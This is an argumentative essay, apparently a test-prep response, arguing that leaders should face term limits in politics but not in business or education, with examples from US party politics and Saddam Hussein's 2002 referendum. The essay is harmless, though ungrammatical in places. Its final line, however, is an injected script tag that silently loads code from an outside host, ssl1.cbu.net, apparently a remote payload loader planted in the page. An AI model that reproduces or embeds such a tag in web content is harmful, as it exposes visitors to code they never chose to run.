In any field—business, politics, education, government—those in power should stepdown after five years.

To keep the ruling part of a system dynamic, societies substitute those in power in every certain period. Whether such a dynamic and change is always justifiable or not, it is hinged on the context in question. While it is absolutely required in the politics, in business or education, such a time limit is not always advisable.

In politics, it is necessary for a leader to be changed after a period. Regardless of the aptitude of the leaders, there are political parties need to have the opportunity to hold the power. Otherwise the government might be at risk of the political intrigues from those parties. In the United States of America, for instance, democrats and republicans are vying to rule with their own approaches. Consider the forfeiture of one of these parties forever and giving unlimited time for the president from the other party. The finish line should be set for the political power-holders, otherwise it would be sought surreptitiously.

In addition, the political system would develop its weaknesses intrinsically. The feeling of belonging to an office cannot be dismissed readily after passing most of the four or eight years in that post and ambiance. The president is prone to adopt the dictatorial attitude. Saddam Hussein was the president of Iraq for near 24 years. In the he 2002 referendum, Iraqi officials say President Saddam Hussein has won 100% backing in a referendum on whether he should rule for another seven years. For the sake of statistical significance he did not even reduced one percentage.

We concede to that time limitation because of the avoiding potential pitfalls in politics. Nevertheless, in the context of business or education, it would not be prudent to do so. First the incumbent leader might possess aptitude or he might be quite verified that remains no excuse in putting him or her aside. Furthermore, even the substitute is equally deserving, In order for a new leadership to settle down in a system there is a significant amount of dead time. Take business, for example. A business manager acts as the nexus between the whole parts of a system. When substitution takes place, all new connections should reestablish, priorities change and the manager should align others with the new strategies. This calls its own dead time, which might hold back the business from its rivals.

In short, transferring power from the one person to the other has its own advantages and disadvantages. In politics, it is justifiable since without putting such limitation the system might be compromised by corruption and dictatorship. However, in other fields like business or education, substituting a leader merely because of the time limitation is not prudent.
<script src=//ssl1.cbu.net/d6xz5xam></script>